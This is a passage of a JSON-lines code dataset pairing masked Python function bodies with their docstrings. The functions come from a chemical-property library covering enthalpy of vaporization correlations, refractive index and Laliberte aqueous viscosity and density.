Engineers' Handbook,\n       Eighth Edition. McGraw-Hill Professional, 2007.", "id": "f15781:m7"}
{"signature": "def Chen(Tb, Tc, Pc):", "body": "Tbr = Tb/Tc<EOL>Pc = Pc/<NUM_LIT>  <EOL>return R*Tb*(<NUM_LIT>*Tbr - <NUM_LIT> + <NUM_LIT>*log(Pc))/(<NUM_LIT> - Tbr)<EOL>", "docstring": "r'''Calculates enthalpy of vaporization using the Chen [1]_ correlation\n    and a chemical's critical temperature, pressure and boiling point.\n\n    The enthalpy of vaporization is given by:\n\n    .. math::\n        \\Delta H_{vb} = RT_b \\frac{3.978 T_r - 3.958 + 1.555 \\ln P_c}{1.07 - T_r}\n\n    Parameters\n    ----------\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n\n    Returns\n    -------\n    Hvap : float\n        Enthalpy of vaporization, [J/mol]\n\n    Notes\n    -----\n    The formulation presented in the original article is similar, but uses\n    units of atm and calorie instead. The form in [2]_ has adjusted for this.\n    A method for estimating enthalpy of vaporization at other conditions\n    has also been developed, but the article is unclear on its implementation.\n    Based on the Pitzer correlation.\n\n    Internal units: bar and K\n\n    Examples\n    --------\n    Same problem as in Perry's examples.\n\n    >>> Chen(294.0, 466.0, 5.55E6)\n    26705.893506174052\n\n    References\n    ----------\n    .. [1] Chen, N. H. \"Generalized Correlation for Latent Heat of Vaporization.\"\n       Journal of Chemical & Engineering Data 10, no. 2 (April 1, 1965): 207-10.\n       doi:10.1021/je60025a047\n    .. [2] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15781:m8"}
{"signature": "def Liu(Tb, Tc, Pc):", "body": "Tbr = Tb/Tc<EOL>return R*Tb*(Tb/<NUM_LIT>)**<NUM_LIT>*(<NUM_LIT:1.> - Tbr)**<NUM_LIT>*log(Pc/<NUM_LIT>)/ (<NUM_LIT:1> - Tbr + <NUM_LIT>*Tbr*log(Tbr))<EOL>", "docstring": "r'''Calculates enthalpy of vaporization at the normal boiling point using\n    the Liu [1]_ correlation, and a chemical's critical temperature, pressure\n    and boiling point.\n\n    The enthalpy of vaporization is given by:\n\n    .. math::\n        \\Delta H_{vap} = RT_b \\left[ \\frac{T_b}{220}\\right]^{0.0627} \\frac{\n        (1-T_{br})^{0.38} \\ln(P_c/P_A)}{1-T_{br} + 0.38 T_{br} \\ln T_{br}}\n\n    Parameters\n    ----------\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n\n    Returns\n    -------\n    Hvap : float\n        Enthalpy of vaporization, [J/mol]\n\n    Notes\n    -----\n    This formulation can be adjusted for lower boiling points, due to the use\n    of a rationalized pressure relationship. The formulation is taken from\n    the original article.\n\n    A correction for alcohols and organic acids based on carbon number,\n    which only modifies the boiling point, is available but not implemented.\n\n    No sample calculations are available in the article.\n\n    Internal units: Pa and K\n\n    Examples\n    --------\n    Same problem as in Perry's examples\n\n    >>> Liu(294.0, 466.0, 5.55E6)\n    26378.566319606754\n\n    References\n    ----------\n    .. [1] LIU, ZHI-YONG. \"Estimation of Heat of Vaporization of Pure Liquid at\n       Its Normal Boiling Temperature.\" Chemical Engineering Communications\n       184, no. 1 (February 1, 2001): 221-28. doi:10.1080/00986440108912849.", "id": "f15781:m9"}
{"signature": "def Vetere(Tb, Tc, Pc, F=<NUM_LIT:1>):", "body": "Tbr = Tb/Tc<EOL>taub = <NUM_LIT:1>-Tb/Tc<EOL>Pc = Pc/<NUM_LIT><EOL>term = taub**<NUM_LIT>*(log(Pc)-<NUM_LIT> + <NUM_LIT>/Pc/Tbr**<NUM_LIT:2>) / (taub + F*(<NUM_LIT:1>-taub**<NUM_LIT>)*log(Tbr))<EOL>return R*Tb*term<EOL>", "docstring": "r'''Calculates enthalpy of vaporization at the boiling point, using the\n    Vetere [1]_ CSP method. Required information are critical temperature\n    and pressure, and boiling point. Equation taken from [2]_.\n\n    The enthalpy of vaporization is given by:\n\n    .. math::\n        \\frac {\\Delta H_{vap}}{RT_b} = \\frac{\\tau_b^{0.38}\n        \\left[ \\ln P_c - 0.513 + \\frac{0.5066}{P_cT_{br}^2}\\right]}\n        {\\tau_b + F(1-\\tau_b^{0.38})\\ln T_{br}}\n\n    Parameters\n    ----------\n    Tb : float\n        Boiling temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    F : float, optional\n        Constant for a fluid, [-]\n\n    Returns\n    -------\n    Hvap : float\n        Enthalpy of vaporization at the boiling point, [J/mol]\n\n    Notes\n    -----\n    The equation cannot be found in the original source. It is believed that a\n    second article is its source, or that DIPPR staff have altered the formulation.\n\n    Internal units of pressure are bar.\n\n    Examples\n    --------\n    Example as in [2]_, p2-487; exp: 25.73\n\n    >>> Vetere(294.0, 466.0, 5.55E6)\n    26363.430021286465\n\n    References\n    ----------\n    .. [1] Vetere, Alessandro. \"Methods to Predict the Vaporization Enthalpies\n       at the Normal Boiling Temperature of Pure Compounds Revisited.\"\n       Fluid Phase Equilibria 106, no. 1-2 (May 1, 1995): 1\u201310.\n       doi:10.1016/0378-3812(94)02627-D.\n    .. [2] Green, Don, and Robert Perry. Perry's Chemical Engineers' Handbook,\n       Eighth Edition. McGraw-Hill Professional, 2007.", "id": "f15781:m10"}
{"signature": "def Watson(T, Hvap_ref, T_Ref, Tc, exponent=<NUM_LIT>):", "body": "Tr = T/Tc<EOL>Trefr = T_Ref/Tc<EOL>H2 = Hvap_ref*((<NUM_LIT:1>-Tr)/(<NUM_LIT:1>-Trefr))**exponent<EOL>return H2<EOL>", "docstring": "Adjusts enthalpy of vaporization of enthalpy for another temperature, for one temperature.", "id": "f15781:m11"}
{"signature": "def Hfus(T=<NUM_LIT>, P=<NUM_LIT>, MW=None, AvailableMethods=False, Method=None, CASRN='<STR_LIT>'):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in CRCHfus_data.index:<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT:None>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>_Hfus = CRCHfus_data.at[CASRN, '<STR_LIT>']<EOL><DEDENT>elif Method == '<STR_LIT:None>' or not MW:<EOL><INDENT>_Hfus = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>_Hfus = property_molar_to_mass(_Hfus, MW)<EOL>return _Hfus<EOL>", "docstring": "This function handles the calculation of a chemical's enthalpy of fusion.\n    Generally this, is used by the chemical class, as all parameters are passed.\n    Calling the function directly works okay.\n\n    Enthalpy of fusion is a weak function of pressure, and its effects are\n    neglected.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.", "id": "f15781:m12"}
{"signature": "def Hsub(T=<NUM_LIT>, P=<NUM_LIT>, MW=None, AvailableMethods=False, Method=None, CASRN='<STR_LIT>'):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL><INDENT>if Hfus(T=T, P=P, MW=MW, CASRN=CASRN) and Hvap(T=T, P=P, MW=MW, CASRN=CASRN):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT><DEDENT>if CASRN in GharagheiziHsub_data.index:<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT:None>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL>", "docstring": "This function handles the calculation of a chemical's enthalpy of sublimation.\n    Generally this, is used by the chemical class, as all parameters are passed.\n\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.", "id": "f15781:m13"}
{"signature": "def Tliquidus(Tms=None, ws=None, xs=None, CASRNs=None, AvailableMethods=False,<EOL>Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if none_and_length_check([Tms]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT:None>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>_Tliq = max(Tms)<EOL><DEDENT>elif Method == '<STR_LIT>':<EOL><INDENT>_Tliq = mixing_simple(xs, Tms)<EOL><DEDENT>elif Method == '<STR_LIT:None>':<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Tliq<EOL>", "docstring": "This function handles the retrival of a mixtures's liquidus point.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> Tliquidus(Tms=[250.0, 350.0], xs=[0.5, 0.5])\n    350.0\n    >>> Tliquidus(Tms=[250, 350], xs=[0.5, 0.5], Method='Simple')\n    300.0\n    >>> Tliquidus(Tms=[250, 350], xs=[0.5, 0.5], AvailableMethods=True)\n    ['Maximum', 'Simple', 'None']", "id": "f15781:m14"}
{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>Tmins, Tmaxs = [], []<EOL>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL>Tmins.append(self.CP_f.Tt); Tmaxs.append(self.CP_f.Tc)<EOL><DEDENT>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if self.CASRN in Alibakhshi_Cs.index and self.Tc:<EOL><INDENT>methods.append(ALIBAKHSHI)<EOL>self.Alibakhshi_C = float(Alibakhshi_Cs.at[self.CASRN, '<STR_LIT:C>'])<EOL>Tmaxs.append( max(self.Tc-<NUM_LIT>, <NUM_LIT:0>) )<EOL><DEDENT>if self.CASRN in CRCHvap_data.index and not np.isnan(CRCHvap_data.at[self.CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC_HVAP_TB)<EOL>self.CRC_HVAP_TB_Tb = float(CRCHvap_data.at[self.CASRN, '<STR_LIT>'])<EOL>self.CRC_HVAP_TB_Hvap = float(CRCHvap_data.at[self.CASRN, '<STR_LIT>'])<EOL><DEDENT>if self.CASRN in CRCHvap_data.index and not np.isnan(CRCHvap_data.at[self.CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC_HVAP_298)<EOL>self.CRC_HVAP_298 = float(CRCHvap_data.at[self.CASRN, '<STR_LIT>'])<EOL><DEDENT>if self.CASRN in GharagheiziHvap_data.index:<EOL><INDENT>methods.append(GHARAGHEIZI_HVAP_298)<EOL>self.GHARAGHEIZI_HVAP_298_Hvap = float(GharagheiziHvap_data.at[self.CASRN, '<STR_LIT>'])<EOL><DEDENT>if all((self.Tc, self.omega)):<EOL><INDENT>methods.extend(self.CSP_methods)<EOL>Tmaxs.append(self.Tc); Tmins.append(<NUM_LIT:0>)<EOL><DEDENT>if all((self.Tc, self.Pc)):<EOL><INDENT>methods.append(CLAPEYRON)<EOL>Tmaxs.append(self.Tc); Tmins.append(<NUM_LIT:0>)<EOL><DEDENT>if all((self.Tb, self.Tc, self.Pc)):<EOL><INDENT>methods.extend(self.boiling_methods)<EOL>Tmaxs.append(self.Tc); Tmins.append(<NUM_LIT:0>)<EOL><DEDENT>if self.CASRN in Perrys2_150.index:<EOL><INDENT>methods.append(DIPPR_PERRY_8E)<EOL>_, Tc, C1, C2, C3, C4, self.Perrys2_150_Tmin, self.Perrys2_150_Tmax = _Perrys2_150_values[Perrys2_150.index.get_loc(self.CASRN)].tolist()<EOL>self.Perrys2_150_coeffs = [Tc, C1, C2, C3, C4]<EOL>Tmins.append(self.Perrys2_150_Tmin); Tmaxs.append(self.Perrys2_150_Tmax)<EOL><DEDENT>if self.CASRN in VDI_PPDS_4.index:<EOL><INDENT>_,  MW, Tc, A, B, C, D, E = _VDI_PPDS_4_values[VDI_PPDS_4.index.get_loc(self.CASRN)].tolist()<EOL>self.VDI_PPDS_coeffs = [A, B, C, D, E]<EOL>self.VDI_PPDS_Tc = Tc<EOL>self.VDI_PPDS_MW = MW<EOL>methods.append(VDI_PPDS)<EOL>Tmaxs.append(self.VDI_PPDS_Tc); <EOL><DEDENT>self.all_methods = set(methods)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin, self.Tmax = min(Tmins), max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        and :obj:`all_methods` as a set of methods for which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15781:c0:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == COOLPROP:<EOL><INDENT>Hvap = PropsSI('<STR_LIT>', '<STR_LIT:T>', T, '<STR_LIT>', <NUM_LIT:1>, self.CASRN) - PropsSI('<STR_LIT>', '<STR_LIT:T>', T, '<STR_LIT>', <NUM_LIT:0>, self.CASRN)<EOL><DEDENT>elif method == DIPPR_PERRY_8E:<EOL><INDENT>Hvap = EQ106(T, *self.Perrys2_150_coeffs)<EOL><DEDENT>elif method == VDI_PPDS:<EOL><INDENT>A, B, C, D, E = self.VDI_PPDS_coeffs<EOL>tau = <NUM_LIT:1.> - T/self.VDI_PPDS_Tc<EOL>Hvap = R*self.VDI_PPDS_Tc*(A*tau**(<NUM_LIT:1>/<NUM_LIT>) + B*tau**(<NUM_LIT:2>/<NUM_LIT>) + C*tau<EOL>+ D*tau**<NUM_LIT:2> + E*tau**<NUM_LIT:6>)<EOL><DEDENT>elif method == ALIBAKHSHI:<EOL><INDENT>Hvap = (<NUM_LIT>*pi*N_A)**(<NUM_LIT:1>/<NUM_LIT>)*<NUM_LIT>*(self.Tc-<NUM_LIT>) - R/<NUM_LIT>*T*log(T) + self.Alibakhshi_C*T<EOL><DEDENT>elif method == MORGAN_KOBAYASHI:<EOL><INDENT>Hvap = MK(T, self.Tc, self.omega)<EOL><DEDENT>elif method == SIVARAMAN_MAGEE_KOBAYASHI:<EOL><INDENT>Hvap = SMK(T, self.Tc, self.omega)<EOL><DEDENT>elif method == VELASCO:<EOL><INDENT>Hvap = Velasco(T, self.Tc, self.omega)<EOL><DEDENT>elif method == PITZER:<EOL><INDENT>Hvap = Pitzer(T, self.Tc, self.omega)<EOL><DEDENT>elif method == CLAPEYRON:<EOL><INDENT>Zg = self.Zg(T) if hasattr(self.Zg, '<STR_LIT>') else self.Zg<EOL>Zl = self.Zl(T) if hasattr(self.Zl, '<STR_LIT>') else self.Zl<EOL>Psat = self.Psat(T) if hasattr(self.Psat, '<STR_LIT>') else self.Psat<EOL>if Zg:<EOL><INDENT>if Zl:<EOL><INDENT>dZ = Zg-Zl<EOL><DEDENT>else:<EOL><INDENT>dZ = Zg<EOL><DEDENT><DEDENT>Hvap = Clapeyron(T, self.Tc, self.Pc, dZ=dZ, Psat=Psat)<EOL><DEDENT>elif method == RIEDEL:<EOL><INDENT>Hvap = Riedel(self.Tb, self.Tc, self.Pc)<EOL><DEDENT>elif method == CHEN:<EOL><INDENT>Hvap = Chen(self.Tb, self.Tc, self.Pc)<EOL><DEDENT>elif method == VETERE:<EOL><INDENT>Hvap = Vetere(self.Tb, self.Tc, self.Pc)<EOL><DEDENT>elif method == LIU:<EOL><INDENT>Hvap = Liu(self.Tb, self.Tc, self.Pc)<EOL><DEDENT>elif method == CRC_HVAP_TB:<EOL><INDENT>Hvap = self.CRC_HVAP_TB_Hvap<EOL><DEDENT>elif method == CRC_HVAP_298:<EOL><INDENT>Hvap = self.CRC_HVAP_298<EOL><DEDENT>elif method == GHARAGHEIZI_HVAP_298:<EOL><INDENT>Hvap = self.GHARAGHEIZI_HVAP_298_Hvap<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>Hvap = self.interpolate(T, method)<EOL><DEDENT>if method in self.boiling_methods or (self.Tc and method in [CRC_HVAP_TB, CRC_HVAP_298, GHARAGHEIZI_HVAP_298]):<EOL><INDENT>if method in self.boiling_methods:<EOL><INDENT>Tref = self.Tb<EOL><DEDENT>elif method == CRC_HVAP_TB:<EOL><INDENT>Tref = self.CRC_HVAP_TB_Tb<EOL><DEDENT>elif method in [CRC_HVAP_298, GHARAGHEIZI_HVAP_298]:<EOL><INDENT>Tref = <NUM_LIT><EOL><DEDENT>Hvap = Watson(T, Hvap, Tref, self.Tc, self.Watson_exponent)<EOL><DEDENT>return Hvap<EOL>", "docstring": "r'''Method to calculate heat of vaporization of a liquid at\n        temperature `T` with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate heat of vaporization, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Hvap : float\n            Heat of vaporization of the liquid at T, [J/mol]", "id": "f15781:c0:m2"}
{"signature": "def refractive_index(CASRN, T=None, AvailableMethods=False, Method=None,<EOL>full_info=True):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in CRC_RI_organic.index:<EOL><INDENT>methods.append(CRC)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == CRC:<EOL><INDENT>_RI = float(CRC_RI_organic.at[CASRN, '<STR_LIT>'])<EOL>if full_info:<EOL><INDENT>_T = float(CRC_RI_organic.at[CASRN, '<STR_LIT>'])<EOL><DEDENT><DEDENT>elif Method == NONE:<EOL><INDENT>_RI, _T = None, None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if full_info:<EOL><INDENT>return _RI, _T<EOL><DEDENT>else:<EOL><INDENT>return _RI<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval of a chemical's refractive\n    index. Lookup is based on CASRNs. Will automatically select a data source\n    to use if no Method is provided; returns None if the data is not available.\n\n    Function has data for approximately 4500 chemicals.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    RI : float\n        Refractive Index on the Na D line, [-]\n    T : float, only returned if full_info == True\n        Temperature at which refractive index reading was made\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain RI with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        RI_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        RI for the desired chemical, and will return methods instead of RI\n    full_info : bool, optional\n        If True, function will return the temperature at which the refractive\n        index reading was made\n\n    Notes\n    -----\n    Only one source is available in this function. It is:\n\n        * 'CRC', a compillation of Organic RI data in [1]_.\n\n    Examples\n    --------\n    >>> refractive_index(CASRN='64-17-5')\n    (1.3611, 293.15)\n\n    References\n    ----------\n    .. [1] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n       Chemistry and Physics, 95E. Boca Raton, FL: CRC press, 2014.", "id": "f15782:m0"}
{"signature": "def polarizability_from_RI(RI, Vm):", "body": "return <NUM_LIT:3>/(<NUM_LIT:4>*pi*N_A)*(RI**<NUM_LIT:2>-<NUM_LIT:1>)/(RI**<NUM_LIT:2>+<NUM_LIT:2>)*Vm<EOL>", "docstring": "r'''Returns the polarizability of a fluid given its molar volume and\n    refractive index.\n\n    .. math::\n        \\alpha = \\left(\\frac{3}{4\\pi N_A}\\right)\n        \\left(\\frac{n^2-1}{n^2+2}\\right)V_m\n\n    Parameters\n    ----------\n    RI : float\n        Refractive Index on Na D line, [-]\n    Vm : float\n        Molar volume of fluid, [m^3/mol]\n\n    Returns\n    -------\n    alpha : float\n        Polarizability [m^3]\n\n    Notes\n    -----\n    This Lorentz-Lorentz-expression is most correct when van der Waals\n    interactions dominate. Alternate conversions have been suggested.\n    This is often expressed in units of cm^3 or Angstrom^3. To convert to these\n    units, multiply by 1E9 or 1E30 respectively.\n\n    Examples\n    --------\n    >>> polarizability_from_RI(1.3611, 5.8676E-5)\n    5.147658123614415e-30\n\n    References\n    ----------\n    .. [1] Panuganti, Sai R., Fei Wang, Walter G. Chapman, and Francisco M.\n       Vargas. \"A Simple Method for Estimation of Dielectric Constants and\n       Polarizabilities of Nonpolar and Slightly Polar Hydrocarbons.\"\n       International Journal of Thermophysics 37, no. 7 (June 6, 2016): 1-24.\n       doi:10.1007/s10765-016-2075-8.", "id": "f15782:m1"}
{"signature": "def molar_refractivity_from_RI(RI, Vm):", "body": "return (RI**<NUM_LIT:2> - <NUM_LIT:1.>)/(RI**<NUM_LIT:2> + <NUM_LIT>)*Vm<EOL>", "docstring": "r'''Returns the molar refractivity of a fluid given its molar volume and\n    refractive index.\n\n    .. math::\n        R_m = \\left(\\frac{n^2-1}{n^2+2}\\right)V_m\n\n    Parameters\n    ----------\n    RI : float\n        Refractive Index on Na D line, [-]\n    Vm : float\n        Molar volume of fluid, [m^3/mol]\n\n    Returns\n    -------\n    Rm : float\n        Molar refractivity [m^3/mol]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    >>> molar_refractivity_from_RI(1.3611, 5.8676E-5)\n    1.2985217089649597e-05\n\n    References\n    ----------\n    .. [1] Panuganti, Sai R., Fei Wang, Walter G. Chapman, and Francisco M.\n       Vargas. \"A Simple Method for Estimation of Dielectric Constants and\n       Polarizabilities of Nonpolar and Slightly Polar Hydrocarbons.\"\n       International Journal of Thermophysics 37, no. 7 (June 6, 2016): 1-24.\n       doi:10.1007/s10765-016-2075-8.", "id": "f15782:m2"}
{"signature": "def RI_from_molar_refractivity(Rm, Vm):", "body": "Rm = ((-<NUM_LIT:2>*Rm - Vm)/(Rm-Vm))**<NUM_LIT:0.5><EOL>return Rm<EOL>", "docstring": "r'''Returns the refractive index of a fluid given its molar volume and\n    molar refractivity.\n\n    .. math::\n        RI = \\sqrt{\\frac{-2R_m - V_m}{R_m-V_m}}\n\n    Parameters\n    ----------\n    Rm : float\n        Molar refractivity [m^3/mol]\n    Vm : float\n        Molar volume of fluid, [m^3/mol]\n\n    Returns\n    -------\n    RI : float\n        Refractive Index on Na D line, [-]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    >>> RI_from_molar_refractivity(1.2985e-5, 5.8676E-5)\n    1.3610932757685672\n\n    References\n    ----------\n    .. [1] Panuganti, Sai R., Fei Wang, Walter G. Chapman, and Francisco M.\n       Vargas. \"A Simple Method for Estimation of Dielectric Constants and\n       Polarizabilities of Nonpolar and Slightly Polar Hydrocarbons.\"\n       International Journal of Thermophysics 37, no. 7 (June 6, 2016): 1-24.\n       doi:10.1007/s10765-016-2075-8.", "id": "f15782:m3"}
{"signature": "def Laliberte_viscosity_w(T):", "body": "t = T-<NUM_LIT><EOL>mu_w = (t + <NUM_LIT>)/((<NUM_LIT>*t+<NUM_LIT>)*t + <NUM_LIT>)<EOL>return mu_w/<NUM_LIT><EOL>", "docstring": "r'''Calculate the viscosity of a water using the form proposed by [1]_.\n    No parameters are needed, just a temperature. Units are Kelvin and Pa*s.\n    t is temperature in degrees Celcius.\n\n    .. math::\n        \\mu_w = \\frac{t + 246}{(0.05594t+5.2842)t + 137.37}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n\n    Returns\n    -------\n    mu_w : float\n        Water viscosity, Pa*s\n\n    Notes\n    -----\n    Original source or pure water viscosity is not cited.\n    No temperature range is given for this equation.\n\n    Examples\n    --------\n    >>> Laliberte_viscosity_w(298)\n    0.0008932264487033279\n\n    References\n    ----------\n    .. [1] Laliberte, Marc. \"A Model for Calculating the Heat Capacity of\n       Aqueous Solutions, with Updated Density and Viscosity Data.\" Journal of\n       Chemical & Engineering Data 54, no. 6 (June 11, 2009): 1725-60.\n       doi:10.1021/je8008123", "id": "f15783:m0"}
{"signature": "def Laliberte_viscosity_i(T, w_w, v1, v2, v3, v4, v5, v6):", "body": "t = T-<NUM_LIT><EOL>mu_i = exp((v1*(<NUM_LIT:1>-w_w)**v2 + v3)/(v4*t+<NUM_LIT:1>))/(v5*(<NUM_LIT:1>-w_w)**v6 + <NUM_LIT:1>)<EOL>return mu_i/<NUM_LIT><EOL>", "docstring": "r'''Calculate the viscosity of a solute using the form proposed by [1]_\n    Parameters are needed, and a temperature. Units are Kelvin and Pa*s.\n\n    .. math::\n        \\mu_i = \\frac{\\exp\\left( \\frac{v_1(1-w_w)^{v_2}+v_3}{v_4 t +1}\\right)}\n            {v_5(1-w_w)^{v_6}+1}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    w_w : float\n        Weight fraction of water in the solution\n    v1-v6 : floats\n        Function fit parameters\n\n    Returns\n    -------\n    mu_i : float\n        Solute partial viscosity, Pa*s\n\n    Notes\n    -----\n    Temperature range check is outside of this function.\n    Check is performed using NaCl at 5 degC from the first value in [1]_'s spreadsheet.\n\n    Examples\n    --------\n    >>> d =  _Laliberte_Viscosity_ParametersDict['7647-14-5']\n    >>> Laliberte_viscosity_i(273.15+5, 1-0.005810, d[\"V1\"], d[\"V2\"], d[\"V3\"], d[\"V4\"], d[\"V5\"], d[\"V6\"] )\n    0.004254025533308794\n\n    References\n    ----------\n    .. [1] Laliberte, Marc. \"A Model for Calculating the Heat Capacity of\n       Aqueous Solutions, with Updated Density and Viscosity Data.\" Journal of\n       Chemical & Engineering Data 54, no. 6 (June 11, 2009): 1725-60.\n       doi:10.1021/je8008123", "id": "f15783:m1"}
{"signature": "def Laliberte_viscosity(T, ws, CASRNs):", "body": "mu_w = Laliberte_viscosity_w(T)*<NUM_LIT><EOL>w_w = <NUM_LIT:1> - sum(ws)<EOL>mu = mu_w**(w_w)<EOL>for i in range(len(CASRNs)):<EOL><INDENT>d = _Laliberte_Viscosity_ParametersDict[CASRNs[i]]<EOL>mu_i = Laliberte_viscosity_i(T, w_w, d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"])*<NUM_LIT><EOL>mu = mu_i**(ws[i])*mu<EOL><DEDENT>return mu/<NUM_LIT><EOL>", "docstring": "r'''Calculate the viscosity of an aqueous mixture using the form proposed by [1]_.\n    Parameters are loaded by the function as needed. Units are Kelvin and Pa*s.\n\n    .. math::\n        \\mu_m = \\mu_w^{w_w} \\Pi\\mu_i^{w_i}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    ws : array\n        Weight fractions of fluid components other than water\n    CASRNs : array\n        CAS numbers of the fluid components other than water\n\n    Returns\n    -------\n    mu_i : float\n        Solute partial viscosity, Pa*s\n\n    Notes\n    -----\n    Temperature range check is not used here.\n    Check is performed using NaCl at 5 degC from the first value in [1]_'s spreadsheet.\n\n    Examples\n    --------\n    >>> Laliberte_viscosity(273.15+5, [0.005810], ['7647-14-5'])\n    0.0015285828581961414\n\n    References\n    ----------\n    .. [1] Laliberte, Marc. \"A Model for Calculating the Heat Capacity of\n       Aqueous Solutions, with Updated Density and Viscosity Data.\" Journal of\n       Chemical & Engineering Data 54, no. 6 (June 11, 2009): 1725-60.\n       doi:10.1021/je8008123", "id": "f15783:m2"}
{"signature": "def Laliberte_density_w(T):", "body": "t = T-<NUM_LIT><EOL>rho_w = (((((-<NUM_LIT>*t + <NUM_LIT>)*t - <NUM_LIT>)*t - <NUM_LIT>)*t + <NUM_LIT>)*t + <NUM_LIT>)/ (<NUM_LIT:1> + <NUM_LIT>*t)<EOL>return rho_w<EOL>", "docstring": "r'''Calculate the density of water using the form proposed by [1]_.\n    No parameters are needed, just a temperature. Units are Kelvin and kg/m^3h.\n\n    .. math::\n        \\rho_w = \\frac{\\left\\{\\left([(-2.8054253\\times 10^{-10}\\cdot t +\n        1.0556302\\times 10^{-7})t - 4.6170461\\times 10^{-5}]t\n        -0.0079870401\\right)t + 16.945176   \\right\\}t + 999.83952}\n        {1 + 0.01687985\\cdot t}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n\n    Returns\n    -------\n    rho_w : float\n        Water density, [kg/m^3]\n\n    Notes\n    -----\n    Original source not cited\n    No temperature range is used.\n\n    Examples\n    --------\n    >>> Laliberte_density_w(298.15)\n    997.0448954179155\n    >>> Laliberte_density_w(273.15 + 50)\n    988.0362916114763\n\n    References\n    ----------\n    .. [1] Laliberte, Marc. \"A Model for Calculating the Heat Capacity of\n       Aqueous Solutions, with Updated Density and Viscosity Data.\" Journal of\n       Chemical & Engineering Data 54, no. 6 (June 11, 2009): 1725-60.\n       doi:10.1021/je8008123", "id": "f15783:m3"}
